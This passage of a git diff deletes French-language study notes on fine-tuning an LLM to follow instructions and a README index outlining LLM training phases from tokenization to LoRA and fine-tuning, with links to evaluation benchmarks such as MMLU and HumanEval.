regrouper toutes les entrées et sorties attendues pour l'entraînement. Pour cela, il est nécessaire de : - -- Tokeniser les textes -- Remplir tous les échantillons à la même longueur (généralement, la longueur sera aussi grande que la longueur de contexte utilisée pour pré-entraîner le LLM) -- Créer les tokens attendus en décalant l'entrée de 1 dans une fonction de collate personnalisée -- Remplacer certains tokens de remplissage par -100 pour les exclure de la perte d'entraînement : Après le premier token `endoftext`, substituer tous les autres tokens `endoftext` par -100 (car l'utilisation de `cross_entropy(...,ignore_index=-100)` signifie qu'il ignorera les cibles avec -100) -- \[Optionnel\] Masquer en utilisant -100 également tous les tokens appartenant à la question afin que le LLM apprenne uniquement à générer la réponse. Dans le style Apply Alpaca, cela signifiera masquer tout jusqu'à `### Response:` - -Avec cela créé, il est temps de créer les chargeurs de données pour chaque jeu de données (entraînement, validation et test). - -## Load pre-trained LLM & Fine tune & Loss Checking - -Il est nécessaire de charger un LLM pré-entraîné pour le peaufiner. Cela a déjà été discuté dans d'autres pages. Ensuite, il est possible d'utiliser la fonction d'entraînement précédemment utilisée pour peaufiner le LLM. - -Pendant l'entraînement, il est également possible de voir comment la perte d'entraînement et la perte de validation varient au cours des époques pour voir si la perte diminue et si le surapprentissage se produit.\ -Rappelez-vous que le surapprentissage se produit lorsque la perte d'entraînement diminue mais que la perte de validation ne diminue pas ou augmente même. Pour éviter cela, la chose la plus simple à faire est d'arrêter l'entraînement à l'époque où ce comportement commence. - -## Response Quality - -Comme il ne s'agit pas d'un fine-tuning de classification où il est possible de faire davantage confiance aux variations de perte, il est également important de vérifier la qualité des réponses dans le jeu de test. Par conséquent, il est recommandé de rassembler les réponses générées de tous les jeux de test et **de vérifier leur qualité manuellement** pour voir s'il y a des réponses incorrectes (notez qu'il est possible pour le LLM de créer correctement le format et la syntaxe de la phrase de réponse mais de donner une réponse complètement incorrecte. La variation de perte ne reflétera pas ce comportement).\ -Notez qu'il est également possible d'effectuer cette révision en passant les réponses générées et les réponses attendues à **d'autres LLMs et leur demander d'évaluer les réponses**. - -Autre test à effectuer pour vérifier la qualité des réponses : - -1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU évalue les connaissances et les capacités de résolution de problèmes d'un modèle à travers 57 sujets, y compris les sciences humaines, les sciences, et plus encore. Il utilise des questions à choix multiples pour évaluer la compréhension à divers niveaux de difficulté, de l'élémentaire au professionnel avancé. -2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Cette plateforme permet aux utilisateurs de comparer les réponses de différents chatbots côte à côte. Les utilisateurs saisissent une invite, et plusieurs chatbots génèrent des réponses qui peuvent être directement comparées. -3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval est un cadre d'évaluation automatisé où un LLM avancé comme GPT-4 évalue les réponses d'autres modèles à diverses invites. -4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE est une collection de neuf tâches de compréhension du langage naturel, y compris l'analyse des sentiments, l'implication textuelle et la réponse à des questions. -5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** S'appuyant sur GLUE, SuperGLUE comprend des tâches plus difficiles conçues pour être difficiles pour les modèles actuels. -6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench est un benchmark à grande échelle avec plus de 200 tâches qui testent les capacités d'un modèle dans des domaines tels que le raisonnement, la traduction et la réponse à des questions. -7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM fournit une évaluation complète à travers divers indicateurs comme la précision, la robustesse et l'équité. -8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Un cadre d'évaluation open-source par OpenAI qui permet de tester des modèles d'IA sur des tâches personnalisées et standardisées. -9. [**HumanEval**](https://github.com/openai/human-eval)**:** Une collection de problèmes de programmation utilisés pour évaluer les capacités de génération de code des modèles de langage. -10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD se compose de questions sur des articles de Wikipédia, où les modèles doivent comprendre le texte pour répondre avec précision. -11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Un ensemble de données à grande échelle de questions et réponses trivia, ainsi que des documents de preuve. - -et beaucoup beaucoup plus - -## Follow instructions fine-tuning code - -Vous pouvez trouver un exemple de code pour effectuer ce fine-tuning à [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md deleted file mode 100644 index 852a0db04..000000000 --- a/src/todo/llm-training-data-preparation/README.md +++ /dev/null @@ -1,98 +0,0 @@ -# LLM Training - Data Preparation - -**Ce sont mes notes du livre très recommandé** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **avec quelques informations supplémentaires.** - -## Basic Information - -Vous devriez commencer par lire ce post pour quelques concepts de base que vous devriez connaître : - -{{#ref}} -0.-basic-llm-concepts.md -{{#endref}} - -## 1. Tokenization - -> [!TIP] -> L'objectif de cette phase initiale est très simple : **Diviser l'entrée en tokens (ids) d'une manière qui a du sens**. - -{{#ref}} -1.-tokenizing.md -{{#endref}} - -## 2. Data Sampling - -> [!TIP] -> L'objectif de cette deuxième phase est très simple : **Échantillonner les données d'entrée et les préparer pour la phase d'entraînement généralement en séparant le jeu de données en phrases d'une longueur spécifique et en générant également la réponse attendue.** - -{{#ref}} -2.-data-sampling.md -{{#endref}} - -## 3. Token Embeddings - -> [!TIP] -> L'objectif de cette troisième phase est très simple : **Attribuer à chacun des tokens précédents dans le vocabulaire un vecteur des dimensions souhaitées pour entraîner le modèle.** Chaque mot dans le vocabulaire sera un point dans un espace de X dimensions.\ -> Notez qu'initialement, la position de chaque mot dans l'espace est juste initialisée "aléatoirement" et ces positions sont des paramètres entraînables (seront améliorés pendant l'entraînement). -> -> De plus, pendant l'embedding des tokens, **une autre couche d'embeddings est créée** qui représente (dans ce cas) la **position absolue du mot dans la phrase d'entraînement**. De cette façon, un mot à différentes positions dans la phrase aura une représentation (signification) différente. - -{{#ref}} -3.-token-embeddings.md -{{#endref}} - -## 4. Attention Mechanisms - -> [!TIP] -> L'objectif de cette quatrième phase est très simple : **Appliquer certains mécanismes d'attention**. Ceux-ci vont être beaucoup de **couches répétées** qui vont **capturer la relation d'un mot dans le vocabulaire avec ses voisins dans la phrase actuelle utilisée pour entraîner le LLM**.\ -> Beaucoup de couches sont utilisées pour cela, donc beaucoup de paramètres entraînables vont capturer cette information. - -{{#ref}} -4.-attention-mechanisms.md -{{#endref}} - -## 5. LLM Architecture - -> [!TIP] -> L'objectif de cette cinquième phase est très simple : **Développer l'architecture du LLM complet**. Mettre tout ensemble, appliquer toutes les couches et créer toutes les fonctions pour générer du texte ou transformer du texte en IDs et vice versa. -> -> Cette architecture sera utilisée à la fois pour l'entraînement et pour prédire du texte après qu'il ait été entraîné. - -{{#ref}} -5.-llm-architecture.md -{{#endref}} - -## 6. Pre-training & Loading models - -> [!TIP] -> L'objectif de cette sixième phase est très simple : **Entraîner le modèle depuis zéro**. Pour cela, l'architecture LLM précédente sera utilisée avec quelques boucles parcourant les ensembles de données en utilisant les fonctions de perte et l'optimiseur définis pour entraîner tous les paramètres du modèle. - -{{#ref}} -6.-pre-training-and-loading-models.md -{{#endref}} - -## 7.0. LoRA Improvements in fine-tuning - -> [!TIP] -> L'utilisation de **LoRA réduit beaucoup le calcul** nécessaire pour **affiner** des modèles déjà entraînés. - -{{#ref}} -7.0.-lora-improvements-in-fine-tuning.md -{{#endref}} - -## 7.1. Fine-Tuning for Classification - -> [!TIP] -> L'objectif de cette section est de montrer comment affiner un modèle déjà pré-entraîné afin qu'au lieu de générer un nouveau texte, le LLM donnera les **probabilités que le texte donné soit catégorisé dans chacune des catégories données** (comme si un texte est un spam ou non). - -{{#ref}} -7.1.-fine-tuning-for-classification.md -{{#endref}} - -## 7.2. Fine-Tuning to follow instructions - -> [!TIP] -> L'objectif de cette section est de montrer comment **affiner un modèle déjà pré-entraîné pour suivre des instructions** plutôt que de simplement générer du texte, par exemple, répondre à des tâches en tant que chatbot. - -{{#ref}} -7.2.-fine-tuning-to-follow-instructions.md -{{#endref}}